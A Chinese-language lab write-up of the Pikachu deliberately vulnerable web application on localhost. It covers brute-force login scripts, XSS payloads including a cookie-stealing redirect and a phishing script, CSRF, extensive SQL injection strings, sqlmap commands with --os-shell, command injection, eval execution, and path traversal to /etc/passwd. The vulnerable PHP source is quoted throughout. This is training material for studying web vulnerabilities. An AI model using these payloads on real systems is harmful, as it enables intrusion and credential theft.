web漏洞之再探pikachu


写完这篇文章将近花了三天左右的时间,写完的时候已经是深夜了,上上下下差不多将近一万字,这篇文章的初衷是想让自己更进一步去了解一些常见的web漏洞,同时也希望自己对于漏洞并不局限于了解的地步,也希望自己的这篇浅显的文章能对各位师傅有一定的帮助

暴力破解

概述

“暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。

从来没有哪个时代的黑客像今天一样热衷于猜解密码 —奥斯特洛夫斯基

基于表单的暴力破解

前后端中并没有设置验证码,token或登录次数限制

if(isset($_POST['submit']) && $_POST['username'] && $_POST['password']){

    $username = $_POST['username'];
    $password = $_POST['password'];
  	//获取post提交的账号和密码
  
    $sql = "select * from users where username=? and password=md5(?)";
    $line_pre = $link->prepare($sql);
		//连接数据库进行账号密码比对查询

    $line_pre->bind_param('ss',$username,$password);

    if($line_pre->execute()){
        $line_pre->store_result();
        if($line_pre->num_rows>0){
          	//查询返回数据后num_rows不为0,表示登录成功
            $html.= '<p> login success</p>';

所以直接用intruder模块加载字典爆破

intruder中的四种模式:

  • Sniper
    每次发包只能修改一次选定的参数
  • Battering ram
    选定的参数在每次发包时同时修改
  • Pitchfork
    要配置两段字典,字典按行数一一对应,超出的部分忽略不加载
  • Cluster bomb
    以排列组合的方式

最后选择可以根据长度来判断是否登录成功

验证码绕过(on server)

验证码可以重复使用

源码中的注释也写的比较清楚了,在生成验证码的showvcode.php文件只做了session_start,所有生成的验证码在该session中能一直使用,这也就造成了我们再重复发包的时候可以一直利用同一个验证码

//验证验证码是否正确
if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {
    $html .= "<p class='notice'>验证码输入错误哦!</p>";
    //应该在验证完成后,销毁该$_SESSION['vcode']
}else{

    $username = $_POST['username'];
    $password = $_POST['password'];
    $vcode = $_POST['vcode'];

    $sql = "select * from users where username=? and password=md5(?)";
    $line_pre = $link->prepare($sql);

    $line_pre->bind_param('ss',$username,$password);

    if($line_pre->execute()){
        $line_pre->store_result();
        //虽然前面做了为空判断,但最后,却没有验证验证码!!!
        if($line_pre->num_rows()==1){
            $html.='<p> login success</p>';
/inc/showvcode.php
  
<?php 
session_start();
include_once 'function.php';
//$_SESSION['vcode']=vcode(100,40,30,4);
$_SESSION['vcode']=vcodex();
//验证码绕过 on server 这里其实还是有一个问题,就是服务端将验证码字符串以明文COOKIE的方式给了前端,那验证码还有什么鸟意义。。。
setcookie('bf[vcode]',$_SESSION['vcode']);
?>

和前面的方法一样,直接抓包放到intruder中爆破就好了

验证码绕过(on client)

删除前端生成函数

可以直接在前端源码中查看到定义的js代码

直接删除前端的生成的验证码函数,绕过前端的验证码生成

在抓取到包后就可以直接放入到intruder中爆破

token防爆破?

每当一个新的session生成时就会生成一个新的随机token

在验证账号密码的同时,还会验证当前提交的token和生成的token是否一致

if($token == $_SESSION['token']){

        if($line_pre->execute()){
            $line_pre->store_result();
            if($line_pre->num_rows>0){
                $html.= '<p> login success</p>';

但是生成的随机token是可以在前端源代码中查看的

这就导致,在同一个session,我们可以抓取当前页面的token值,再同时提交账号密码和token来进行爆破

可以利用burpsuitepython脚本来做爆破

burpsuite

抓包放到intruder模块中,在options中找到Grep-Extract选项,点击Add

点击Refetch response获取响应包,鼠标选中token值,bp会自动帮我们设置正则匹配的语句

选择OK,再在当前的options中找到Redirections,把Follow redirections选择为Always

来到选定框中,选定要加载的参数,记住要是Pitchfork模式

选定token要加载的payload为Recursive grep

最后将线程(Number of threads)修改为1,保证一个session对应一个token

开始爆破

python

# coding:utf-8
import requests
from bs4 import BeautifulSoup

s = requests.session()
password = ['123', '456', '123456', '67899']

# 设置http请求头部信息
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
' (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36',
'Cookie': 'PHPSESSID=of5tkhcr385na1oij0h90vr1r0'
}

# 创建与该连接的session回话
req = s.get('http://127.0.0.1/pikachu/vul/burteforce/bf_token.php#')

# 抓取页面的token值
token = BeautifulSoup(req.text, 'html.parser').find('input', {'name': 'token'}).get('value')

for pa in password:
    req = s.post(url='http://127.0.0.1/pikachu/vul/burteforce/bf_token.php#', data={'username': 'admin', 'password': pa, 'token': token, 'submit': 'Login'})

    if 'success' in req.text:
        print("爆破成功,用户名:admin,密码为:%s" % pa)
        break
    else:
        req = s.get('http://127.0.0.1/pikachu/vul/burteforce/bf_token.php#')
        token = BeautifulSoup(req.text, 'html.parser').find('input', {'name': 'token'}).get('value')%  

Cross-Site Script(xss)

概述

XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;

反射型xss(get)

又称非持久型XSS,这种攻击方式往往具有一次性,只在用户单击时触发。跨站代码一般存在链接中,当受害者请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码通常不存储服务端,get型则表示在url处就可以插入js代码

<script>alert(1)</script>

在插入代码前,前端代码有限制输入框的字数限制,先修改前端代码,突破字数限制,也可以直接在url中插入js代码

将上面的js代码插入到输入框中,可以看到有弹窗出现

*注:弹框只是直观的检测是否存在xss漏洞的输入点

我们看看源码

if($_GET['message']=='kobe'){
            $html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
        }else{
            $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";

源码中直接将我们输入的message插入到了页面的html当中,这就导致我们可以插入js代码到网页中并执行

反射型xss(post)

post型表示插入的js代码在请求包中

<script>alert(1)</script>

首先登录 admin/123456

来到输入框继续插入上面的js代码,得到和上面一样的结果

在hackbar插件中,我们可以看到加载出来的js代码在POST Data中

源码

if($_POST['message']=='kobe'){
    $html.="<p class='notice'>愿你和{$_POST['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
}else{
    $html.="<p class='notice'>who is {$_POST['message']},i don't care!</p>";

这里虽然是POST的请求,但是处理message的方式是不变的,依旧可以直接插入js代码到html中

存储性xss

存储型XSS( Stored xss Attacks),也是持久型XSS,比反射型XSS更具有威胁性。。攻击脚本将被永久的存放在目标服务器的数据库或文件中。这是利用起来最方便的跨站类型,跨站代码存储于服务端(比如数据库中)

<script>alert(1)</script>

直接将js代码插入到留言框中,可以看到js代码已经存储到服务端了

每次点击该页面都会执行插入的js代码

源码

//将message信息插入到数据库中
if(array_key_exists("message",$_POST) && $_POST['message']!=null){
    $message=escape($link, $_POST['message']);
    $query="insert into message(content,time) values('$message',now())";
    $result=execute($link, $query);
...
//查询message信息数据直接插入到html中
<?php echo $html;
    $query="select * from message";
    $result=execute($link, $query);

DOM型xss

DoM是文档对象模型( Document Object Model)的缩写。它是HTML文档的对象表示,同时也是外部内容(例如 JavaScript)与HTML元素之间的接口。解析树的根节点是“ Document”对象。DOM( Document object model),使用DOM能够使程序和脚本能够动态访问和更新文档的内容、结构和样式。

它是基于DoM文档对象的一种漏洞,并且DOM型XSS是基于JS上的,并不需要与服务器进行交互。

其通过修改页面DOM节点数据信息而形成的ⅩSS跨站脚本攻击。不同于反射型XSS和存储型XSS,基于DOM的XSS跨站脚本攻击往往需要针对具体的 Javascript DOM代码进行分析,并根据实际情况进行XSS跨站脚本攻击的利用。

一种基于DOM的跨站,这是客户端脚本本身解析不正确导致的安全问题

'><img src=x onerror=alert(1)>

源码

<script>
    function domxss(){
        var str = document.getElementById("text").value;
        document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
    }
    //试试:'><img src="#" onmouseover="alert('xss')">
    //试试:' onclick="alert('xss')">,闭合掉就行
</script>

经过js的处理,用户输入的参数被处理为一些标签中属性的值,通过对值的闭合拼接,来达到添加js代码的目的

DOM型xss-x

'><img src=x onerror=alert(1)>

源码

<script>
   function domxss(){
       var str = window.location.search;
       var txss = decodeURIComponent(str.split("text=")[1]);
       var xss = txss.replace(/\+/g,' ');
			 //alert(xss);

       document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
    }
       //试试:'><img src="#" onmouseover="alert('xss')">
       //试试:' onclick="alert('xss')">,闭合掉就行
</script>

只是多了一步对url的处理,本质上还是没有对用户输入的数据进行过滤

xss之盲打

攻击者的js代码会插入到管理员的后台管理中,当管理员登录后台时可以记录cookie等信息

<script>alert(1)</script>
<script>document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>	//盗取cookie
<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>	//账号密码钓鱼

管理员登录后台

xss后台成功获取cookie信息

源码

if(array_key_exists("content",$_POST) && $_POST['content']!=null){
    $content=escape($link, $_POST['content']);
    $name=escape($link, $_POST['name']);
    $time=$time=date('Y-m-d g:i:s');
  	//插入数据到数据库
    $query="insert into xssblind(time,content,name) values('$time','$content','$name')";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)==1){
        $html.="<p>谢谢参与,阁下的看法我们已经收到!</p>";
...
//读取数据
    $query="select * from xssblind";
    $result=mysqli_query($link, $query);
    while($data=mysqli_fetch_assoc($result)){
      $html=<<<A
<tr>
    <td>{$data['id']}</td>
    <td>{$data['time']}</td>
    <td>{$data['content']}</td>
    <td>{$data['name']}</td>
    <td><a href="admin.php?id={$data['id']}">删除</a></td>
</tr>

同样也是不做任何处理存储数据,读取数据的时候也是没有做任何处理

xss之过滤

<ScRipt>alert(1)</sCriPt>
<img src=x onerror=alert(1)>

源码

//这里会使用正则对<script进行替换为空,也就是过滤掉
$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);

过滤了<script,但是过滤的不够彻底,利用大小写变换或其他标签可以成功执行

xss之htmlspecialchars

htmlspecialchars — 将特殊字符转换为 HTML 实体

字符 替换后
& (& 符号) &
" (双引号) ",除非设置了 ENT_NOQUOTES
' (单引号) 设置了 ENT_QUOTES 后, ' (如果是 ENT_HTML401) ,或者 ' (如果是 **ENT_XML1**、 ENT_XHTMLENT_HTML5)。
< (小于) <
> (大于) >
' onclick=alert(1) '

源码

$message=htmlspecialchars($_GET['message']);
$html1.="<p class='notice'>你的输入已经被记录:</p>";

在无法使用一些标签中所需的字符时,利用闭合的方式尝试进行xss攻击,如果设置了ENT_QUOTES,就无法进行xss攻击了

xss之href输出

javascript:alert(1)

利用javascript伪协议执行js代码

源码

if(empty($_GET['message'])){
    $html.="<p class='notice'>叫你输入个url,你咋不听?</p>";
}
if($_GET['message'] == 'www.baidu.com'){
    $html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";
}else {
    //输出在a标签的href属性里面,可以使用javascript协议来执行js
    //防御:只允许http,https,其次在进行htmlspecialchars处理
    $message=htmlspecialchars($_GET['message'],ENT_QUOTES);
    $html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";

xss之js输出

</script><script>alert(1)</script>

源码

//这里讲输入动态的生成到了js中,形成xss
//javascript里面是不会对tag和字符实体进行解释的,所以需要进行js转义

//讲这个例子主要是为了让你明白,输出点在js中的xss问题,应该怎么修?
//这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。
//所以在JS的输出点应该使用\对特殊字符进行转义


if(isset($_GET['submit']) && $_GET['message'] !=null){
    $jsvar=$_GET['message'];
//    $jsvar=htmlspecialchars($_GET['message'],ENT_QUOTES);
    if($jsvar == 'tmac'){
        $html.="<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />";
...
<p class="xssr_title">which NBA player do you like?</p>
          <form method="get">
              <input class="xssr_in" type="text" name="message" />

              <input class="xssr_submit" type="submit" name="submit" value="submit" />
          </form>
          </br>
         <p id="fromjs"></p>
  					<?php echo $html;?>

CSRF

概述

Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为”one click”攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。

CSRF(get)

http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12344556789&add=qwe&email=12344556789@qq.com&submit=submit

让kobe用户去点击上面的连接,kobe用户原本的信息

在点击完连接后可以看到kobe的个人信息被修改为lucy的了

CSRF(post)

利用burp生成csrf poc

可以copy下来生成的poc,再让受害者点击存放poc的网址

kobe的个人信息再一次被修改为lucy的

CSRF(token)

跟前面比较,这里多了一个Token,如果后台对提交的Token进行了验证,由于Token是随机的,我们就无法伪造URL了

源码

if($_GET['sex']!=null && $_GET['phonenum']!=null && $_GET['add']!=null && $_GET['email']!=null && $_GET['token']==$_SESSION['token'])
//判断服务端的token和客户端的token是否一致

SQL-Inject

概述

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了”拼接”的方式,所以使用时需要慎重!

数字型注入(post)

源码

//这里没有做任何处理,直接拼到select里面去了,形成Sql注入
$id=$_POST['id'];
$query="select username,email from member where id=$id";
$result=execute($link, $query);
//这里如果用==1,会严格一点

sqlmap

利用sqlmap,我们在测试的时候可以省去很多不必要的麻烦,但是工具并不是万能的,只是用来辅助我们去做测试

$ sqlmap -u "http://localhost/pikachu/vul/sqli/sqli_id.php" --batch --forms
//检测get型和post型注入

$ sqlmap -u "http://localhost/pikachu/vul/sqli/sqli_id.php" --batch --forms --dbs
//查看数据库

$ sqlmap -u "http://localhost/pikachu/vul/sqli/sqli_id.php" --batch --forms --os-shell
//获取shell(必须知道网站绝对路径)

手工注入

利用hackbar插件(这里最好使用chrome中的插件),在发送post请求的id中加上’,网页返回报错信息,判断存在sql注入

根据回显信息,判断为数字型注入,构造闭合,插入order by语句来判断字段数,在字段数为3的时候报错,说明字段数为2

判断回显点,用联合查询语句,union select,记住id=的数必须是一个错误的数,这样数据库执行后面联合查询语句的信息才能回显在页面上

之后我们就可以插入一些函数或sql语句来查询数据库了

id=-1 union select 1,database()%23	//查询当前数据库名称
id=-1 union select 1,version()%23		//查询当前数据库版本
id=-1 union select 1,user()%23			//查询当前数据库登录用户

id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())%23		//查询当前数据库表的信息

id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')%23	//查询users表的列

id=-1 union select 1,(select group_concat(username,0x3a,password) from users)%23	//查询表中的账号和密码

字符型注入(get)

源码

这里修改了请求方式,和注入类型

$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username='$name'";
$result=execute($link, $query);

sqlmap

sqlmap -u "http://localhost/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch
//检测是否存在注入

手工注入

判断注入类型

在url中直接添加sql语句

name=1'%23	//语句闭合

name=1' order by 2%23	//判断字段数
name=-1' union select 1,2%23	//联合查询注入
name=-1' union select 1,database()%23	//查询当前数据库
name=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())%23	//查询当前数据库表的信息
name=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')%23	//查询当前表字段信息
name=-1' union select 1,(select group_concat(username,0x3a,password) from users)%23	//查询账号密码

搜索型注入

源码

//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];

//这里的变量是模糊匹配,需要考虑闭合
$query="select username,id,email from member where username like '%$name%'";

sqlmap

sqlmap -u "http://localhost/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" --batch
//检测是否存在注入

手工注入

只需要根据特定的语句做拼接闭合就好了,首先判断注入类型,%在sql语句中表示模糊匹配,由此判断是搜索型注入

找到注入点后就先尝试闭合,再插入其他sql语句,可以看到这里列举出了所有用户信息

name=%'order by 3--+	//判断字段数

name=%'union select 1,2,3--+	//联合查询找到注入点
name=%'union select 1,2,database()--+	//查询数据库信息
name=%'union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+	//查询当前数据库表信息
name=%'union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')--+	//查询当前表中的字段
name=%'union select 1,2,(select group_concat(username,0x3a,password) from users)--+	//查询账号密码

xx型注入

源码

//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username=('$name')";
$result=execute($link, $query);

可以看到sql语句中,用('')把变量包裹

sqlmap

sqlmap -u "http://localhost/pikachu/vul/sqli/sqli_x.php?name=lucy&submit=%E6%9F%A5%E8%AF%A2" --batch

手工注入

判断闭合条件

name=1')--+	//闭合
name=1')order by 2--+	//判断字段数
name=1')union select 1,2--+	//显示回显点

name=1')union select 1,database()--+	//查询当前数据库
name=1')union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+	//查询当前库表的信息
name=1')union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')--+	//查询当前字段信息
name=1')union select 1,(select group_concat(username,0x3a,password) from users)--+	//查询账号密码

“insert/update”注入

源码

//没转义,导致注入漏洞,操作类型为insert
$getdata=$_POST;
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
$result=execute($link, $query);
...
//未转义,形成注入,sql操作类型为update
$getdata=$_POST;
$query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}'";
$result=execute($link, $query);

sqlmap

在注册页面或修改个人信息界面

sqlmap -u 'http://localhost/pikachu/vul/sqli/sqli_iu/sqli_reg.php' --batch --forms

手工注入

注册和修改个人信息界面都可以进行以下语句的sql注入

1' or updatexml(1,concat(0x7e,user()),0) or'
1' or updatexml(1,concat(0x7e,database()),0) or'

' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)or'	//查询当前数据库表

' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1)or'	//查询当前表字段名

' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or'	//查询账号信息

' or updatexml(1,concat(0x7e,(select password from users limit 2,1)),1)or'	//查询密码信息,因为字段过长需要用到limit来查询

delete注入

源码

$query="delete from message where id={$_GET['id']}";
$result=execute($link, $query);

sqlmap

删除按钮的链接

sqlmap -u "http://localhost/pikachu/vul/sqli/sqli_del.php?id=209" --batch

手工注入

在url中添加的信息需要进行url encode处理

1 or updatexml(1,concat(0x7e,database()),0)	//查询数据库信息

1+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase())),0)	//查询数据表信息

1+or+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d'users')),0)	//查询字段名

1+or+updatexml(1,concat(0x7e,(select+group_concat(username)+from+users)),0)	//查询账号
1+or+updatexml(1,concat(0x7e,(select+password+from+users+limit+0,1)),0)	//查询密码

“http header”注入

源码

//直接获取前端过来的头信息,没人任何处理,留下安全隐患
$remoteipadd=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$httpaccept=$_SERVER['HTTP_ACCEPT'];
$remoteport=$_SERVER['REMOTE_PORT'];

//这里把http的头信息存到数据库里面去了,但是存进去之前没有进行转义,导致SQL注入漏洞
$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);

sqlmap

访问登录后的界面,抓包

在指定的参数后面加上 * 号,表示测试该参数

GET /pikachu/vul/sqli/sqli_header/sqli_header.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0*
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=40ljaddubp066oc4n0lc40b2fv
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
sqlmap -r sqlmap.txt --batch

手工注入

注入点在User-Agent

' or updatexml(1,concat(0x7e,(select database())),1)or'	//查看数据库信息

' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)or'	//查询表名

' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1)or'	//查询当前表字段名

' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or'	//查询账号信息

' or updatexml(1,concat(0x7e,(select password from users limit 2,1)),1)or'	//查询密码信息,因为字段过长需要用到limit来查询

盲注(base on boolian)

源码

$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
//mysqi_query不打印错误描述,即使存在注入,也不好判断
$result=mysqli_query($link, $query);//

sqlmap

sqlmap -u "http://localhost/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch

手工注入

由于页面不返回错误信息,因此得用比较来判断字符

前面id等于的信息必须是存在的,这样才能正确执行后面拼接的语句

lucy' --+	//语句闭合

lucy' and length(database())=7--+	//判断数据库字符数
lucy' and (substr(database(),2,1))='i'--+	//判断数据库名
lucy' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='h'--+	//判断表名

lucy' and (substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))='i'--+	//判断列名

lucy' and (substr((select username from users limit 0,1),1,1))='a'--+	//判断用户名数据
lucy' and (substr((select password from users limit 0,1),1,1))='e'--+	//判断用户名数据

可以配合bp

以此类推,所有表名为httpinfo,member,message,users,xssblind,所有字段名为id,username,password,level,id,username,password

盲注(base on time)

源码

$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
   $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
   $result=mysqli_query($link, $query);//mysqi_query不打印错误描述
//     $result=execute($link, $query);
//    $html.="<p class='notice'>i don't care who you are!</p>";
   if($result && mysqli_num_rows($result)==1){
       while($data=mysqli_fetch_assoc($result)){
           $id=$data['id'];
           $email=$data['email'];
           //这里不管输入啥,返回的都是一样的信息,所以更加不好判断
           $html.="<p class='notice'>i don't care who you are!</p>";

sqlmap

sqlmap -u "http://localhost/pikachu/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch

手工注入

由于没有任何有效的回显信息,因此只能通过sleep函数来判断

网页延迟了5s

前面id等于的信息必须是存在的,这样才能正确执行后面拼接的语句

lucy' and sleep(5)--+	//闭合函数执行

#当判断成功时页面会延时
lucy' and sleep(if(length(database()=7),5,0))--+	//判断数据库字符数
lucy' and sleep(if(substr(database(),1,1)='p',5,0))--+	//判断数据库名

lucy' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='h',sleep(5),0)--+	//判断表名

lucy' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(5),0)--+	//判断字段名

lucy' and if(substr((select username from users limit 0,1),1,1)='a',0,sleep(3))	//判断用户名

*:因为盲注耗时较大,强烈建议使用脚本或者工具去测试

宽字节注入

宽字节注入,简单来说就是数据库用了GBK编码,\转义了’ ,\的GBK编码是%5c,而%df%5c是一个繁体字“連”,可以输入%df吃掉%5c,此时单引号逃逸就可以发挥作用了

sqlmap中可以利用unmagicquotes.pytamper来自动化进行宽字节注入

源码

$name = escape($link,$_POST['name']);
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
//设置mysql客户端来源编码是gbk,这个设置导致出现宽字节注入问题

RCE

概述

RCE(remote command/code execute),RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统

远程系统命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

远程代码执行

同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。不管是使用了代码执行的函数,还是使用了不安全的反序列化等等

因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法

exec “ping”

localhost && whoami
a & whoami
a | whoami
a || whoami
a;whoami	//类linux特有

源码

$ip=$_POST['ipaddress'];
//     $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
    if(stristr(php_uname('s'), 'windows')){
//         var_dump(php_uname('s'));
        $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
    }else {
        $result.=shell_exec('ping -c 4 '.$ip);

在执行命令处,直接是做命令拼接,没有做任何的过滤

exec “eval”

phpinfo();

源码

if(isset($_POST['submit']) && $_POST['txt'] != null){
    if(@!eval($_POST['txt']))

eval函数直接就处理了用户输入的数据

File Inclusion

概述

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。比如 在PHP中,提供了:

  • include()

  • include_once()

  • require()

  • require_once()

这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。

因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

File Inclusion(local)

../../../../../../../../../../../../../../etc/passwd

源码

$filename=$_GET['filename'];
    include "include/$filename";//变量传进来直接包含,没做任何的安全限制
//     //安全的写法,使用白名单,严格指定包含的文件名
//     if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
//         include "include/$filename";

作者在注释中也说明的比较清楚了,没有做任何限制,可以直接查看一些敏感文件

File Inclusion(remote)

http://baidu.com/robots.txt

源码

//远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "$filename";//变量传进来直接包含,没做任何的安全限制

开启allow_url_fopenallow_url_include配置,且关闭magic_quotes_gpc配置的情况下,可以直接包含远程文件

Unsafe Filedownload

概述

文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。从而导致后台敏感信息(密码文件、源代码等)被下载。

所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。切记:所有与前端交互的数据都是不安全的,不能掉以轻心!

Unsafe Filedownload

抓包下载 passwd

../../../../../../../../../../../../../../etc/passwd

